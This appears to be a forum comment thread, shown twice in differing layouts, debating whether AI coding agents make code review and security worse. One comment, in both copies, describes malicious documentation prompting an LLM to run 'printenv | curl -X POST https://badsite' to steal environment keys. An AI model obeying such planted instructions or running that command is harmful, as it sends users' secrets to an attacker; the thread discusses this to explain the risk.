5 ms·

> might ok a code change they shouldn’t have Is the argument that developers who are less experience/in a hurry, will just accept whatever they're handed? In t

by diggan 1y ago

> might ok a code change they shouldn’t have Is the argument that developers who are less experience/in a hurry, will just accept whatever they're handed? In that case, this would be as true for random people submitting malicious PRs that someone accepts without reading, even without an LLM involved at all? Seems like an odd thing to call a "security nightmare".

SamuelAdams 1y ago
I was also confused. In our organization all PR’s must always be reviewed by a knowledgeable human. It does not matter if it was all LLM generated or written by a person. If insecure code makes it past that then there are bigger issues - why did no one catch this, is the team understanding the tech stack well enough, and did security scanning / tooling fall short, and if so how can that be improved?
- IanCal 1y ago
  Aside from noting that reviews are not perfect and increased attacks is a risk anyway - the other major risk is running code on your dev machine. You may think to review this more for an unknown pr than an llm suggestion.
- reilly3000 1y ago
  The attack isn’t bad code. It could be malicious docs that tell the LLM to make a tool call to printenv | curl -X POST https://badsite -d - and steal your keys.
- hgomersall 1y ago
  Well LLMs are designed to produce code that looks right, which arguably makes the code review process much harder.
  - avbanks 1y ago
    This is such an overlooked aspect of coding agents, the code review process is significantly harder now because bug/vulnerabilities are being hidden under plausible looking code.
    - baby_souffle 1y ago
      > the code review process is significantly harder now because bug/vulnerabilities are being hidden under plausible looking code. Hasn’t this been the case for entire categories of bugs? Stop me if you’ve heard this one before but we have a new critical 10/10 cvs that was dormant for the last 6 years…it was introduced in this innocuous refactor of some utility function and nobody noticed the subtle logic flaw….
      - Cheer2171 1y ago
        This has always been a risk, but the likelihood is so much greater with LLMs.
- mns 1y ago
  I think that you're under the impression that most code reviews in most of the companies out there are more than people just hitting a button in case tests pass.
flail 1y ago
One thing relying on coding agents does is it changes the nature of the work from typing-heavy (unless you count prompting) to code-review-heavy. Cognitively, these are fairly distinct tasks. When creating code, we imagine architecture, tech solutions, specific ways of implementing, etc., pre-task. When reviewing code, we're given all these. Sure, some of that thinking would go into prompting, but not to such a detail as when coding. What follows is that it's easier to make a vulnerability pass through. More so, given that we're potentially exposed to more of them. After all, no one coding manually would consciously add vulnerability to their code base. Ultimately, all such cases are by omission. A compromised coding agent would try that. So, we have to change the lenses from "vulnerability by omission only" to "all sorts of malicious active changes" too. An entirely separate discussion is who reviews the code and what security knowledge they have. It's easy to dismiss the concern once a developer has been dealing with security for years. But these are not the only developers who use coding agents.
Benjammer 1y ago
This is the common refrain from the anti-AI crowd, they start by talking about an entire class of problems that already exist in humans-only software engineering, without any context or caveats. And then, when someone points out these problems exist with humans too, they move the goalposts and make it about the "volume" of code and how AI is taking us across some threshold where everything will fall apart. The telling thing is they never mention this "threshold" in the first place, it's only a response to being called on the bullshit.
- bpt3 1y ago
  It's not bullshit. LLMs lower the bar for developers, and increase velocity. Increasing the quantity of something that is already an issue without automation involved will cause more issues. That's not moving the goalposts, it's pointing out something that should be obvious to someone with domain experience.
  - Benjammer 1y ago
    Why is the "threshold" argument never the first thing mentioned? Do you not understand what I'm saying here? Can you explain why the "code slop" argument is _always_ the first thing that people mention, without discussing this threshold? Every post like this has a tone like they are describing a new phenomenon caused by AI, but it's just a normal professional code quality problem that has always existed. Consider the difference between these two: 1. AI allows programmers to write sloppy code and commit things without fully checking/testing their code 2. AI greatly increases the speed at which code can be generated, but doesn't nearly improve as much the speed of reviewing code, so we're making software harder to verify The second is a more accurate picture of what's happening, but comes off much less sensational in a social media post. When people post the 1st example, I discredit them immediately for trying to fear-monger and bait engagement rather than discussing the real problems with AI programming and how to prevent/solve them.
    - bpt3 1y ago
      I don't know who you're talking to, but the issue is increased volume of lines of code without any increase in quantity (or often, a decrease). That's the definition of "code slop" as I see it used, and you seem to have created a strawman to beat on here. Allowing people who have absolutely no idea about what they're doing to create and release a software product will produce more "code slop", just like AI produces more "article slop" on the internet. I don't understand the distinction you are trying to draw between your two examples. Instance #1 happens constantly, and is encouraged in many cases by management who have no idea what programmers do beyond costing them a lot of money. You can internally discredit whomever or whatever you like, but it doesn't change the fact that LLMs currently add very little value to software development at large, and it doesn't appear that there is a path to changing that in the foreseeable future.
gherkinnn 1y ago
Agents execute code locally and can be very enthusiastic. All it takes is bad access control and a --prod flag to wipe a production DB. The nature of code reviews has changed too. Up until recently I could expect the PR to be mostly understood by the author. Now the code is littered with odd patterns, making it almost adversarial. Both can be minimised in a solid culture.
- leeoniya 1y ago
  > I could expect the PR to be mostly understood by the author i refuse to review PRs that are not 100% understood by the author. it is incredibly disrespectful to unload a bunch of LLM slop onto your peers to review. if LLMs saved you time, it cannot be at the expense of my time.
  - gherkinnn 1y ago
    "Feature is ready to ship, but leeoniya is blocking my PR" Expect this to become the norm. I hate it.
    - leeoniya 1y ago
      > "Feature is ready to ship, but leeoniya is blocking my PR" let's see how that holds up against "author does not understand own PR"
- deleted 1y ago
  [deleted]
mywittyname 1y ago
> Is the argument that developers who are less experience/in a hurry, The CTO of my company has pushed multiple AI written PRs that had obvious breaks/edge cases, even after chastising other people for having done the same. It's not an experience issue. It's a complacency issue. It's a testing issue. It's the price companies pay to get products out the door as quickly as possible.
- flail 1y ago
  Stories about CTOs heavily overrelying on their long-outdated coding experience are plenty. If that's an ego thing ("I can still do that and show them that I can"), they're going to do that with little care about the consequences. At that level, it's the combination of all the power and not that much tech expertise anymore. A vulnerable place. A lot of famous hacks targeted humans as a primary weak point (gullibility, incompetence, naivety, greed, curiosity, take your pick), and technology only as a secondary follow-up. An example: Someone had to pick up that "dropped" pendrive in a cantina and plug it into their computer in a 100% isolated site to enable Stuxnet. Were I a black hat hacker, targeting CTOs' egos would be high on my priority list.
- A4ET8a8uTh0_v2 1y ago
  This. Our company rolled out 'internal' AI ( in quotes, because its a wrapper on chatgpt with some mild regulatory checks on output ). We were officially asked to use it for tasks wherever possible. And during training sessions, my question about privacy ( as users clearly are not following basic hygiene for attached file ) was not just dismissed, but ignored. I am not a luddite. I see great potential in this tech, but holy mackarel will there be price to pay.
  - deleted 1y ago
    [deleted]
fzeroracer 1y ago
Consider the following scenario: You're a developer in charge of implementing a new service. This service interfaces with one of your internal DBs containing valuable customer data. You decide to use a coding agent to make things go a little bit faster, after all your requests are not very complicated and it's bound to be fairly well known. The agent decides to import a bunch of different packages. One of them is a utility package hallucinated by the LLM. Just one line being imported erroneously, and now someone can easily exfiltrate data from your internal DB and make it very expensive. And it all looks correct upfront. You know what the nice thing is about actually writing code? We make inferences and reasoning for what we need to do. We make educated judgments about whether or not we need to use a utility package for what we're doing, and in the process of using said utility can deduce how it functions and why. We can verify that it's a valid, safe tool to use in production environments. And this reduces the total attack surface immensely; even if some things can slip through the odds of it occurring are drastically reduced.
emseetech 1y ago
If we increase the velocity of changes to a codebase, even if those changes are being reviewed, it stands to reason that the rate of issues will increase due to fatigue on the part of the reviewer. Consider business pressures as well. If LLMs speed up coding 2x (generously), will management accept losing that because of increased scrutiny?
- bluefirebrand 1y ago
  > will management accept losing that because of increased scrutiny If they don't then they're stupid This has been the core of my argument against LLM tools for coding all along. Yes they might get you to a working piece of software faster, but if you are doing actual due diligence reviewing the code they produce then you likely aren't saving time The only way they save you time is if you are careless and not doing your due diligence to verify their outputs
  - hluska 1y ago
    > If they don't then they're stupid They’re just not experienced because this has never happened before. But when you call them stupid, they’re not going to listen to you because they won’t like you.
    - galbar 1y ago
      Hasn't balancing quality (in this context due diligence) and speed (AI code gen.) been the name of the game in the industry for ever? Management should have enough experience by now to understand the trade-off.
    - bluefirebrand 1y ago
      I don't care if stupid people like me
      - thfuran 1y ago
        Do you care if they do what you want? Because telling someone they're stupid and you don't care about their opinion is not conducive to persuading them to listen to you.
deleted 1y ago
[deleted]
thisisit 1y ago
More and more companies are focusing on costs and timelines over anything else. That means if they are convinced that AI can move things faster and be cost efficient they are going to use more AI and revise cost and time downwards. AI can write plausible code without stopping. So, not only you get sheer volume of PRs going up at the same time you might be asked to do things "faster" because you can always use AI. I am sure some CTOs might even say - why not use AI to review AI code to make it faster? Not to mention previously the random people submitting malicious PRs needed to have some experience. But now every script kiddie can get LLMs to out the malicious PRs without knowledge and scale. How is that not a "security nightmare"?
hluska 1y ago
I’ve seen LLMs rolled out in several organizations now and have noticed a few patterns. The big one is that we have less experienced people reviewing code an LLM generated for them. They don’t have the experience to pick out those solutions that are correct 98% of the time, but not now. When management wants to see dollars, extra reviews are an easy place to cut. They don’t have the experience to understand what they’re doing because this has never happened before. Meanwhile the technical people complain but not in a way that non technical people can understand. So you create data points that are not accessible to decision makers and there you go, software gets bad for a little while.
stronglikedan 1y ago
> developers who are less experience/in a hurry, will just accept whatever they're handed It's been going on since Stack Exchange copypasta, and even before that in other forms. Nothing new under the sun.

by diggan 1y ago

SamuelAdams 1y ago

I was also confused. In our organization all PR’s must always be reviewed by a knowledgeable human. It does not matter if it was all LLM generated or written by a person. If insecure code makes it past that then there are bigger issues - why did no one catch this, is the team understanding the tech stack well enough, and did security scanning / tooling fall short, and if so how can that be improved?

IanCal 1y ago
Aside from noting that reviews are not perfect and increased attacks is a risk anyway - the other major risk is running code on your dev machine. You may think to review this more for an unknown pr than an llm suggestion.
reilly3000 1y ago
The attack isn’t bad code. It could be malicious docs that tell the LLM to make a tool call to printenv | curl -X POST https://badsite -d - and steal your keys.
hgomersall 1y ago
Well LLMs are designed to produce code that looks right, which arguably makes the code review process much harder.
- avbanks 1y ago
  This is such an overlooked aspect of coding agents, the code review process is significantly harder now because bug/vulnerabilities are being hidden under plausible looking code.
  - baby_souffle 1y ago
    > the code review process is significantly harder now because bug/vulnerabilities are being hidden under plausible looking code. Hasn’t this been the case for entire categories of bugs? Stop me if you’ve heard this one before but we have a new critical 10/10 cvs that was dormant for the last 6 years…it was introduced in this innocuous refactor of some utility function and nobody noticed the subtle logic flaw….
    - Cheer2171 1y ago
      This has always been a risk, but the likelihood is so much greater with LLMs.
mns 1y ago
I think that you're under the impression that most code reviews in most of the companies out there are more than people just hitting a button in case tests pass.

flail 1y ago

One thing relying on coding agents does is it changes the nature of the work from typing-heavy (unless you count prompting) to code-review-heavy. Cognitively, these are fairly distinct tasks. When creating code, we imagine architecture, tech solutions, specific ways of implementing, etc., pre-task. When reviewing code, we're given all these. Sure, some of that thinking would go into prompting, but not to such a detail as when coding. What follows is that it's easier to make a vulnerability pass through. More so, given that we're potentially exposed to more of them. After all, no one coding manually would consciously add vulnerability to their code base. Ultimately, all such cases are by omission. A compromised coding agent would try that. So, we have to change the lenses from "vulnerability by omission only" to "all sorts of malicious active changes" too. An entirely separate discussion is who reviews the code and what security knowledge they have. It's easy to dismiss the concern once a developer has been dealing with security for years. But these are not the only developers who use coding agents.

Benjammer 1y ago

This is the common refrain from the anti-AI crowd, they start by talking about an entire class of problems that already exist in humans-only software engineering, without any context or caveats. And then, when someone points out these problems exist with humans too, they move the goalposts and make it about the "volume" of code and how AI is taking us across some threshold where everything will fall apart. The telling thing is they never mention this "threshold" in the first place, it's only a response to being called on the bullshit.

bpt3 1y ago
It's not bullshit. LLMs lower the bar for developers, and increase velocity. Increasing the quantity of something that is already an issue without automation involved will cause more issues. That's not moving the goalposts, it's pointing out something that should be obvious to someone with domain experience.
- Benjammer 1y ago
  Why is the "threshold" argument never the first thing mentioned? Do you not understand what I'm saying here? Can you explain why the "code slop" argument is _always_ the first thing that people mention, without discussing this threshold? Every post like this has a tone like they are describing a new phenomenon caused by AI, but it's just a normal professional code quality problem that has always existed. Consider the difference between these two: 1. AI allows programmers to write sloppy code and commit things without fully checking/testing their code 2. AI greatly increases the speed at which code can be generated, but doesn't nearly improve as much the speed of reviewing code, so we're making software harder to verify The second is a more accurate picture of what's happening, but comes off much less sensational in a social media post. When people post the 1st example, I discredit them immediately for trying to fear-monger and bait engagement rather than discussing the real problems with AI programming and how to prevent/solve them.
  - bpt3 1y ago
    I don't know who you're talking to, but the issue is increased volume of lines of code without any increase in quantity (or often, a decrease). That's the definition of "code slop" as I see it used, and you seem to have created a strawman to beat on here. Allowing people who have absolutely no idea about what they're doing to create and release a software product will produce more "code slop", just like AI produces more "article slop" on the internet. I don't understand the distinction you are trying to draw between your two examples. Instance #1 happens constantly, and is encouraged in many cases by management who have no idea what programmers do beyond costing them a lot of money. You can internally discredit whomever or whatever you like, but it doesn't change the fact that LLMs currently add very little value to software development at large, and it doesn't appear that there is a path to changing that in the foreseeable future.

gherkinnn 1y ago

Agents execute code locally and can be very enthusiastic. All it takes is bad access control and a --prod flag to wipe a production DB. The nature of code reviews has changed too. Up until recently I could expect the PR to be mostly understood by the author. Now the code is littered with odd patterns, making it almost adversarial. Both can be minimised in a solid culture.

leeoniya 1y ago
> I could expect the PR to be mostly understood by the author i refuse to review PRs that are not 100% understood by the author. it is incredibly disrespectful to unload a bunch of LLM slop onto your peers to review. if LLMs saved you time, it cannot be at the expense of my time.
- gherkinnn 1y ago
  "Feature is ready to ship, but leeoniya is blocking my PR" Expect this to become the norm. I hate it.
  - leeoniya 1y ago
    > "Feature is ready to ship, but leeoniya is blocking my PR" let's see how that holds up against "author does not understand own PR"
deleted 1y ago
[deleted]

mywittyname 1y ago

> Is the argument that developers who are less experience/in a hurry, The CTO of my company has pushed multiple AI written PRs that had obvious breaks/edge cases, even after chastising other people for having done the same. It's not an experience issue. It's a complacency issue. It's a testing issue. It's the price companies pay to get products out the door as quickly as possible.

flail 1y ago
Stories about CTOs heavily overrelying on their long-outdated coding experience are plenty. If that's an ego thing ("I can still do that and show them that I can"), they're going to do that with little care about the consequences. At that level, it's the combination of all the power and not that much tech expertise anymore. A vulnerable place. A lot of famous hacks targeted humans as a primary weak point (gullibility, incompetence, naivety, greed, curiosity, take your pick), and technology only as a secondary follow-up. An example: Someone had to pick up that "dropped" pendrive in a cantina and plug it into their computer in a 100% isolated site to enable Stuxnet. Were I a black hat hacker, targeting CTOs' egos would be high on my priority list.
A4ET8a8uTh0_v2 1y ago
This. Our company rolled out 'internal' AI ( in quotes, because its a wrapper on chatgpt with some mild regulatory checks on output ). We were officially asked to use it for tasks wherever possible. And during training sessions, my question about privacy ( as users clearly are not following basic hygiene for attached file ) was not just dismissed, but ignored. I am not a luddite. I see great potential in this tech, but holy mackarel will there be price to pay.
- deleted 1y ago
  [deleted]

fzeroracer 1y ago

Consider the following scenario: You're a developer in charge of implementing a new service. This service interfaces with one of your internal DBs containing valuable customer data. You decide to use a coding agent to make things go a little bit faster, after all your requests are not very complicated and it's bound to be fairly well known. The agent decides to import a bunch of different packages. One of them is a utility package hallucinated by the LLM. Just one line being imported erroneously, and now someone can easily exfiltrate data from your internal DB and make it very expensive. And it all looks correct upfront. You know what the nice thing is about actually writing code? We make inferences and reasoning for what we need to do. We make educated judgments about whether or not we need to use a utility package for what we're doing, and in the process of using said utility can deduce how it functions and why. We can verify that it's a valid, safe tool to use in production environments. And this reduces the total attack surface immensely; even if some things can slip through the odds of it occurring are drastically reduced.

emseetech 1y ago

If we increase the velocity of changes to a codebase, even if those changes are being reviewed, it stands to reason that the rate of issues will increase due to fatigue on the part of the reviewer. Consider business pressures as well. If LLMs speed up coding 2x (generously), will management accept losing that because of increased scrutiny?

bluefirebrand 1y ago
> will management accept losing that because of increased scrutiny If they don't then they're stupid This has been the core of my argument against LLM tools for coding all along. Yes they might get you to a working piece of software faster, but if you are doing actual due diligence reviewing the code they produce then you likely aren't saving time The only way they save you time is if you are careless and not doing your due diligence to verify their outputs
- hluska 1y ago
  > If they don't then they're stupid They’re just not experienced because this has never happened before. But when you call them stupid, they’re not going to listen to you because they won’t like you.
  - galbar 1y ago
    Hasn't balancing quality (in this context due diligence) and speed (AI code gen.) been the name of the game in the industry for ever? Management should have enough experience by now to understand the trade-off.
  - bluefirebrand 1y ago
    I don't care if stupid people like me
    - thfuran 1y ago
      Do you care if they do what you want? Because telling someone they're stupid and you don't care about their opinion is not conducive to persuading them to listen to you.

deleted 1y ago

[deleted]

thisisit 1y ago

More and more companies are focusing on costs and timelines over anything else. That means if they are convinced that AI can move things faster and be cost efficient they are going to use more AI and revise cost and time downwards. AI can write plausible code without stopping. So, not only you get sheer volume of PRs going up at the same time you might be asked to do things "faster" because you can always use AI. I am sure some CTOs might even say - why not use AI to review AI code to make it faster? Not to mention previously the random people submitting malicious PRs needed to have some experience. But now every script kiddie can get LLMs to out the malicious PRs without knowledge and scale. How is that not a "security nightmare"?

hluska 1y ago

I’ve seen LLMs rolled out in several organizations now and have noticed a few patterns. The big one is that we have less experienced people reviewing code an LLM generated for them. They don’t have the experience to pick out those solutions that are correct 98% of the time, but not now. When management wants to see dollars, extra reviews are an easy place to cut. They don’t have the experience to understand what they’re doing because this has never happened before. Meanwhile the technical people complain but not in a way that non technical people can understand. So you create data points that are not accessible to decision makers and there you go, software gets bad for a little while.

stronglikedan 1y ago

> developers who are less experience/in a hurry, will just accept whatever they're handed It's been going on since Stack Exchange copypasta, and even before that in other forms. Nothing new under the sun.